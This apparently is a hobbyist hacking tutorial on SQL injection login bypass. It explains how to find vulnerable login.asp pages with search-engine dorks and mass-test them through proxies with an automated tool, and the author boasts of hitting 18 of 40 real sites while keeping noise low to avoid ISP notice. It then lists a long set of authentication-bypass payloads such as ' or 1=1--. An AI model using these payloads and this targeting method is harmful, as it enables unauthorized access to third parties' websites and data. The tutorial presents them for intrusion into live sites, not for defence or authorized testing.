What is SQL Injection and How to do It

One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it works

SEARCH:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question


WHAT I DO :

first let me go into details on how i go about my research

i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org"thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulder

INJECTION STRINGS:HOW ?

this is the easiest part...very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:' or 1=1--

or

user:' or 1=1--
admin:' or 1=1--

some sites will have just a password so

password:' or 1=1--

infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths...but thats another paper

the one am interested in are quick access to targets

PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:' or a=a--
admin:' or 1=1--

and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection
string

now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search

17,000 possible targets trying various searches spews out plent more


now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting
i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is
i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into
problems with users using Ares..thing is i know it works for me...

sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs

am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes

user=' or 1=1-- just as quick as login process


(Variations)

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--


' or a=a--


" or "a"="a


') or ('a'='a


") or ("a"="a


hi" or "a"="a


hi" or 1=1 --


hi' or 1=1 --


hi' or 'a'='a


hi') or ('a'='a


hi") or ("a"="a

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About the Author

I'm a ** years old student, and literally a computer and internet geek (99.9%).And not professional, just a learner. I don't know what I really know, but I'm a freelancer,Hacker,Security Expert,Programmer,Editor,Blogger,Coder (in process),Web developer,Web designer and a Web master. Not interested in show off at all.

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